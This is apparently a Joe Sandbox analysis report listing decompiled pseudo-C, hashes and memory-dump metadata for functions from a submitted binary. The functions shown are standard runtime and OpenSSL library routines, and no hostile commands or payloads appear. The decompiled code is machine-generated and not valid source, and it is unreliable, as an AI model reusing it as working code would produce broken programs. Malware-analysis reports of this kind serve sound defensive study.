                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                              • String ID: CorExitProcess$mscoree.dll
                                                                                                                              • API String ID: 4061214504-1276376045
                                                                                                                              • Opcode ID: 43ec2fa5b206ef50a85d8791d4c505ac4782749c279514a83b9864bfeb17bd1e
                                                                                                                              • Instruction ID: f6fbaa43aff5438410b0abd656ae3bf7d6a4ef96f7d0dc9f7f198edc6e562dd9
                                                                                                                              • Opcode Fuzzy Hash: 43ec2fa5b206ef50a85d8791d4c505ac4782749c279514a83b9864bfeb17bd1e
                                                                                                                              • Instruction Fuzzy Hash: AEF0AF61A0960381FA15AB24E84433DE360BF997A5FD40676CE7E462E5CF2CD568C320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD861762 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 203COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: $$..\s\crypto\rsa\rsa_sign.c
                                                                                                                              • API String ID: 0-1864662394
                                                                                                                              • Opcode ID: b1e35b43adc65caca2e36ede9ea3d59f5487deb23ee417c7bcc11d43d801b987
                                                                                                                              • Instruction ID: ba075ac9c00a59f0bfc3f3e177047bd6a4a06001a1f6d0d821a2acce6be46ca6
                                                                                                                              • Opcode Fuzzy Hash: b1e35b43adc65caca2e36ede9ea3d59f5487deb23ee417c7bcc11d43d801b987
                                                                                                                              • Instruction Fuzzy Hash: C591E361E2C6AA8AE7609F21D46037DE291FB44784F504231EAAD07BC5EF3DE944C7B4
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD861ED3 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 166COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memmove
                                                                                                                              • String ID: ..\s\crypto\pem\pem_lib.c$;$Enter PEM pass phrase:
                                                                                                                              • API String ID: 2162964266-3733131234
                                                                                                                              • Opcode ID: cd38e328b997667744c1706e487c666578dc2542a510621b81c4d5bbb33f039a
                                                                                                                              • Instruction ID: ca9affc35de63ed641856b318e5ffdcf1b61a10a935c0c401eacc59843b8ba0b
                                                                                                                              • Opcode Fuzzy Hash: cd38e328b997667744c1706e487c666578dc2542a510621b81c4d5bbb33f039a
                                                                                                                              • Instruction Fuzzy Hash: 0871F4626186AA86E720DF11D4617AAF3A0FB84794F410135EB6D47BC9EF3CD805CBB4
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F86F4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 85%
                                                                                                                              			E00007FF77FF7DA8F86F4(signed int __ecx, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t46;
				void* _t51;

				_a8 = __rbx;
				_a16 = __rsi;
				_t27 = __ecx & 0x0000001f;
				if ((__ecx & 0x00000008) == 0) goto 0xda8f8726;
				if (sil >= 0) goto 0xda8f8726;
				E00007FF77FF7DA8F8E8C(_t27, _t51);
				_t28 = _t27 & 0xfffffff7;
				goto 0xda8f877d;
				_t42 = 0x00000004 & dil;
				if (_t42 == 0) goto 0xda8f8741;
				asm("dec eax");
				if (_t42 >= 0) goto 0xda8f8741;
				E00007FF77FF7DA8F8E8C(_t28, _t51);
				_t29 = _t28 & 0xfffffffb;
				goto 0xda8f877d;
				_t43 = dil & 0x00000001;
				if (_t43 == 0) goto 0xda8f875d;
				asm("dec eax");
				if (_t43 >= 0) goto 0xda8f875d;
				E00007FF77FF7DA8F8E8C(_t29, _t51);
				_t30 = _t29 & 0xfffffffe;
				goto 0xda8f877d;
				_t44 = dil & 0x00000002;
				if (_t44 == 0) goto 0xda8f877d;
				asm("dec eax");
				if (_t44 >= 0) goto 0xda8f877d;
				if ((dil & 0x00000010) == 0) goto 0xda8f877a;
				E00007FF77FF7DA8F8E8C(_t30, _t51);
				_t31 = _t30 & 0xfffffffd;
				_t46 = dil & 0x00000010;
				if (_t46 == 0) goto 0xda8f8797;
				asm("dec eax");
				if (_t46 >= 0) goto 0xda8f8797;
				E00007FF77FF7DA8F8E8C(_t31, _t51);
				return 0 | (_t31 & 0xffffffef) == 0x00000000;
			}













                                                                                                                              0x7ff7da8f86f4
                                                                                                                              0x7ff7da8f86f9
                                                                                                                              0x7ff7da8f8708
                                                                                                                              0x7ff7da8f8710
                                                                                                                              0x7ff7da8f8715
                                                                                                                              0x7ff7da8f871c
                                                                                                                              0x7ff7da8f8721
                                                                                                                              0x7ff7da8f8724
                                                                                                                              0x7ff7da8f872b
                                                                                                                              0x7ff7da8f872e
                                                                                                                              0x7ff7da8f8730
                                                                                                                              0x7ff7da8f8735
                                                                                                                              0x7ff7da8f8737
                                                                                                                              0x7ff7da8f873c
                                                                                                                              0x7ff7da8f873f
                                                                                                                              0x7ff7da8f8741
                                                                                                                              0x7ff7da8f8745
                                                                                                                              0x7ff7da8f8747
                                                                                                                              0x7ff7da8f874c
                                                                                                                              0x7ff7da8f8753
                                                                                                                              0x7ff7da8f8758
                                                                                                                              0x7ff7da8f875b
                                                                                                                              0x7ff7da8f875d
                                                                                                                              0x7ff7da8f8761
                                                                                                                              0x7ff7da8f8763
                                                                                                                              0x7ff7da8f8768
                                                                                                                              0x7ff7da8f876e
                                                                                                                              0x7ff7da8f8775
                                                                                                                              0x7ff7da8f877a
                                                                                                                              0x7ff7da8f877d
                                                                                                                              0x7ff7da8f8781
                                                                                                                              0x7ff7da8f8783
                                                                                                                              0x7ff7da8f8788
                                                                                                                              0x7ff7da8f878f
                                                                                                                              0x7ff7da8f87ad

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _set_statfp
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1156100317-0
                                                                                                                              • Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
                                                                                                                              • Instruction ID: 535853d5476a1173e797268cb5d8e5569c343a55e212608709a48fde3b9477d3
                                                                                                                              • Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
                                                                                                                              • Instruction Fuzzy Hash: 7D119126EDCA0341F7563224E44637D94407F793B4FD806F6FE6E062EB8E2CA8618230
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EA7B0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FlsGetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA7CF
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA7EE
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA816
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA827
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8EA838
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Value
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3702945584-0
                                                                                                                              • Opcode ID: 703443d4120832b5791d71500607073e9e9a48874bfbc00edefa7c425f0c0b60
                                                                                                                              • Instruction ID: aa84316d70e78753de3408a44298c12f1b4f23709343bddb3da6ecd87387da8e
                                                                                                                              • Opcode Fuzzy Hash: 703443d4120832b5791d71500607073e9e9a48874bfbc00edefa7c425f0c0b60
                                                                                                                              • Instruction Fuzzy Hash: F6119D60F08342C1FA5AB721558117DE2417F60BB0FC447B6ED3D467C7DE2EE6628220
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EA644 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA655
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA674
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA69C
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA6AD
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7DA8F2383,?,?,?,00007FF7DA8ECADC,?,?,00000000,00007FF7DA8E39AF), ref: 00007FF7DA8EA6BE
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Value
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3702945584-0
                                                                                                                              • Opcode ID: ce8fb8d2ec258449f1d7ec7fb260da50f1e1c13e24c64aca21b204daaccf0404
                                                                                                                              • Instruction ID: 863c26ec0eca70e2182ff8186fc4a82a5862c8f3c797f2de9afe29225a91efcb
                                                                                                                              • Opcode Fuzzy Hash: ce8fb8d2ec258449f1d7ec7fb260da50f1e1c13e24c64aca21b204daaccf0404
                                                                                                                              • Instruction Fuzzy Hash: 611136A0E08203C1F96AB621445117DE2417F72BB4EC54BB6ED3E4A2E3DD2EF6608231
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EF0E8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 87%
                                                                                                                              			E00007FF77FF7DA8EF0E8(long long __rbx, signed int* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				signed int _t31;
				signed int _t33;
				signed int _t36;
				signed int _t49;
				signed int _t56;
				void* _t61;
				void* _t83;
				signed int _t89;
				void* _t90;
				signed int _t94;
				signed int _t109;
				intOrPtr* _t129;
				signed short* _t131;
				signed short* _t132;
				long long _t136;
				signed int _t138;
				signed short* _t142;
				signed short* _t143;
				void* _t144;

				_t109 = _t138;
				 *((long long*)(_t109 + 8)) = __rbx;
				 *((long long*)(_t109 + 0x10)) = _t136;
				 *((long long*)(_t109 + 0x18)) = __rsi;
				 *((long long*)(_t109 + 0x20)) = __rdi;
				 *__rcx = _t109;
				__rcx[2] = 0;
				r14d = 0x20;
				_t31 =  *0xda91c9dc; // 0x0
				__rcx[1] = _t31;
				goto 0xda8ef12b;
				_t142 = __rdx + 2;
				_t33 =  *_t142 & 0x0000ffff;
				if (_t33 == r14w) goto 0xda8ef123;
				if (_t33 == 0x61) goto 0xda8ef158;
				if (_t33 == 0x72) goto 0xda8ef14f;
				if (_t33 != 0x77) goto 0xda8ef3bc;
				 *__rcx = 0x301;
				goto 0xda8ef15e;
				__rcx[1] = 1;
				goto 0xda8ef165;
				 *__rcx = 0x109;
				__rcx[1] = 2;
				_t143 =  &(_t142[1]);
				r9b = bpl;
				dil = bpl;
				r10b = bpl;
				r11b = bpl;
				_t9 = _t136 + 0xa; // 0xa
				if ( *_t143 == 0) goto 0xda8ef2ce;
				_t56 =  *_t143 & 0x0000ffff;
				_t83 = _t56 - 0x53;
				if (_t83 > 0) goto 0xda8ef238;
				if (_t83 == 0) goto 0xda8ef221;
				if (_t83 == 0) goto 0xda8ef2b9;
				if (_t83 == 0) goto 0xda8ef1ef;
				if (_t83 == 0) goto 0xda8ef1e7;
				if (_t83 == 0) goto 0xda8ef1d5;
				_t61 = _t56 - r14d - 0xfffffffffffffff2 - _t9;
				if (_t83 == 0) goto 0xda8ef1cc;
				if (_t61 != 4) goto 0xda8ef3bc;
				if (r10b != 0) goto 0xda8ef2ac;
				 *__rcx =  *__rcx | 0x00000010;
				goto 0xda8ef22d;
				asm("bts dword [ebx], 0x7");
				goto 0xda8ef2b7;
				if (( *__rcx & 0x00000040) != 0) goto 0xda8ef2ac;
				goto 0xda8ef2b5;
				r11b = 1;
				goto 0xda8ef2ac;
				if (dil != 0) goto 0xda8ef2ac;
				_t36 =  *__rcx;
				dil = 1;
				if ((_t36 & 0x00000002) != 0) goto 0xda8ef2ac;
				 *__rcx = _t36 & 0xfffffffe | 0x00000002;
				__rcx[1] = __rcx[1] & 0xfffffffc | 0x00000004;
				goto 0xda8ef2b9;
				_t89 = r10b;
				if (_t89 != 0) goto 0xda8ef2ac;
				 *__rcx =  *__rcx | r14d;
				r10b = 1;
				goto 0xda8ef2b9;
				if (_t89 == 0) goto 0xda8ef2a4;
				if (_t89 == 0) goto 0xda8ef295;
				if (_t89 == 0) goto 0xda8ef283;
				if (_t89 == 0) goto 0xda8ef277;
				if (_t89 == 0) goto 0xda8ef268;
				_t90 = _t61 - 0x34 - 4;
				if (_t90 != 0) goto 0xda8ef3bc;
				asm("bt eax, 0x9");
				if (_t90 >= 0) goto 0xda8ef2ac;
				asm("bts eax, 0xa");
				goto 0xda8ef2b5;
				if (( *__rcx & 0x0000c000) != 0) goto 0xda8ef2ac;
				asm("bts eax, 0xe");
				goto 0xda8ef2b5;
				if (r9b != 0) goto 0xda8ef2ac;
				asm("btr dword [ebx+0x4], 0xb");
				goto 0xda8ef28d;
				if (r9b != 0) goto 0xda8ef2ac;
				asm("bts dword [ebx+0x4], 0xb");
				r9b = 1;
				goto 0xda8ef2b9;
				_t94 =  *__rcx & 0x0000c000;
				if (_t94 != 0) goto 0xda8ef2ac;
				asm("bts eax, 0xf");
				goto 0xda8ef2b5;
				asm("bt eax, 0xc");
				if (_t94 >= 0) goto 0xda8ef2b1;
				goto 0xda8ef2b9;
				asm("bts eax, 0xc");
				asm("dec eax");
				_t144 = _t143 + __rcx;
				if (1 != 0) goto 0xda8ef17c;
				_t128 =  ==  ? _t144 : _t144 + 2;
				goto 0xda8ef2df;
				_t129 = ( ==  ? _t144 : _t144 + 2) + 2;
				if ( *_t129 == r14w) goto 0xda8ef2db;
				if (r11b != 0) goto 0xda8ef2fc;
				if ( *_t129 != 0) goto 0xda8ef3bc;
				__rcx[2] = 1;
				goto 0xda8ef3cc;
				r8d = 3;
				if (E00007FF77FF7DA8E9950(_t144) != 0) goto 0xda8ef3bc;
				goto 0xda8ef323;
				_t131 = _t129 + 8;
				_t49 =  *_t131 & 0x0000ffff;
				if (_t49 == r14w) goto 0xda8ef31f;
				if (_t49 != 0x3d) goto 0xda8ef3bc;
				_t132 =  &(_t131[1]);
				if ( *_t132 == r14w) goto 0xda8ef336;
				r8d = 5;
				if (E00007FF77FF7DA8F53C4(_t109, _t132) != 0) goto 0xda8ef35f;
				asm("bts dword [ebx], 0x12");
				goto 0xda8ef3a1;
				r8d = 8;
				if (E00007FF77FF7DA8F53C4(_t109, _t132) != 0) goto 0xda8ef381;
				asm("bts dword [ebx], 0x11");
				goto 0xda8ef3a1;
				r8d = 7;
				if (E00007FF77FF7DA8F53C4(_t109, _t132) != 0) goto 0xda8ef3bc;
				asm("bts dword [ebx], 0x10");
				goto 0xda8ef3ab;
				if (( *(_t132 + __rsi + 2) & 0x0000ffff) == r14w) goto 0xda8ef3a7;
				goto 0xda8ef2ed;
				E00007FF77FF7DA8E4394(_t109);
				 *_t109 = 0x16;
				return E00007FF77FF7DA8E9D00();
			}






















                                                                                                                              0x7ff7da8ef0e8
                                                                                                                              0x7ff7da8ef0eb
                                                                                                                              0x7ff7da8ef0ef
                                                                                                                              0x7ff7da8ef0f3
                                                                                                                              0x7ff7da8ef0f7
                                                                                                                              0x7ff7da8ef106
                                                                                                                              0x7ff7da8ef10c
                                                                                                                              0x7ff7da8ef10f
                                                                                                                              0x7ff7da8ef115
                                                                                                                              0x7ff7da8ef11b
                                                                                                                              0x7ff7da8ef121
                                                                                                                              0x7ff7da8ef123
                                                                                                                              0x7ff7da8ef127
                                                                                                                              0x7ff7da8ef12f
                                                                                                                              0x7ff7da8ef135
                                                                                                                              0x7ff7da8ef13b
                                                                                                                              0x7ff7da8ef141
                                                                                                                              0x7ff7da8ef147
                                                                                                                              0x7ff7da8ef14d
                                                                                                                              0x7ff7da8ef14f
                                                                                                                              0x7ff7da8ef156
                                                                                                                              0x7ff7da8ef158
                                                                                                                              0x7ff7da8ef15e
                                                                                                                              0x7ff7da8ef165
                                                                                                                              0x7ff7da8ef16d
                                                                                                                              0x7ff7da8ef170
                                                                                                                              0x7ff7da8ef173
                                                                                                                              0x7ff7da8ef176
                                                                                                                              0x7ff7da8ef179
                                                                                                                              0x7ff7da8ef180
                                                                                                                              0x7ff7da8ef186
                                                                                                                              0x7ff7da8ef18a
                                                                                                                              0x7ff7da8ef18d
                                                                                                                              0x7ff7da8ef193
                                                                                                                              0x7ff7da8ef19c
                                                                                                                              0x7ff7da8ef1a5
                                                                                                                              0x7ff7da8ef1aa
                                                                                                                              0x7ff7da8ef1af
                                                                                                                              0x7ff7da8ef1b1
                                                                                                                              0x7ff7da8ef1b3
                                                                                                                              0x7ff7da8ef1b8
                                                                                                                              0x7ff7da8ef1c1
                                                                                                                              0x7ff7da8ef1c7
                                                                                                                              0x7ff7da8ef1ca
                                                                                                                              0x7ff7da8ef1cc
                                                                                                                              0x7ff7da8ef1d0
                                                                                                                              0x7ff7da8ef1d9
                                                                                                                              0x7ff7da8ef1e2
                                                                                                                              0x7ff7da8ef1e7
                                                                                                                              0x7ff7da8ef1ea
                                                                                                                              0x7ff7da8ef1f2
                                                                                                                              0x7ff7da8ef1f8
                                                                                                                              0x7ff7da8ef1fa
                                                                                                                              0x7ff7da8ef1ff
                                                                                                                              0x7ff7da8ef20e
                                                                                                                              0x7ff7da8ef219
                                                                                                                              0x7ff7da8ef21c
                                                                                                                              0x7ff7da8ef221
                                                                                                                              0x7ff7da8ef224
                                                                                                                              0x7ff7da8ef22a
                                                                                                                              0x7ff7da8ef22d
                                                                                                                              0x7ff7da8ef233
                                                                                                                              0x7ff7da8ef23b
                                                                                                                              0x7ff7da8ef240
                                                                                                                              0x7ff7da8ef245
                                                                                                                              0x7ff7da8ef24a
                                                                                                                              0x7ff7da8ef24f
                                                                                                                              0x7ff7da8ef251
                                                                                                                              0x7ff7da8ef254
                                                                                                                              0x7ff7da8ef25c
                                                                                                                              0x7ff7da8ef260
                                                                                                                              0x7ff7da8ef262
                                                                                                                              0x7ff7da8ef266
                                                                                                                              0x7ff7da8ef26f
                                                                                                                              0x7ff7da8ef271
                                                                                                                              0x7ff7da8ef275
                                                                                                                              0x7ff7da8ef27a
                                                                                                                              0x7ff7da8ef27c
                                                                                                                              0x7ff7da8ef281
                                                                                                                              0x7ff7da8ef286
                                                                                                                              0x7ff7da8ef288
                                                                                                                              0x7ff7da8ef28d
                                                                                                                              0x7ff7da8ef293
                                                                                                                              0x7ff7da8ef297
                                                                                                                              0x7ff7da8ef29c
                                                                                                                              0x7ff7da8ef29e
                                                                                                                              0x7ff7da8ef2a2
                                                                                                                              0x7ff7da8ef2a6
                                                                                                                              0x7ff7da8ef2aa
                                                                                                                              0x7ff7da8ef2af
                                                                                                                              0x7ff7da8ef2b1
                                                                                                                              0x7ff7da8ef2bd
                                                                                                                              0x7ff7da8ef2c3
                                                                                                                              0x7ff7da8ef2c8
                                                                                                                              0x7ff7da8ef2d5
                                                                                                                              0x7ff7da8ef2d9
                                                                                                                              0x7ff7da8ef2db
                                                                                                                              0x7ff7da8ef2e3
                                                                                                                              0x7ff7da8ef2e8
                                                                                                                              0x7ff7da8ef2ed
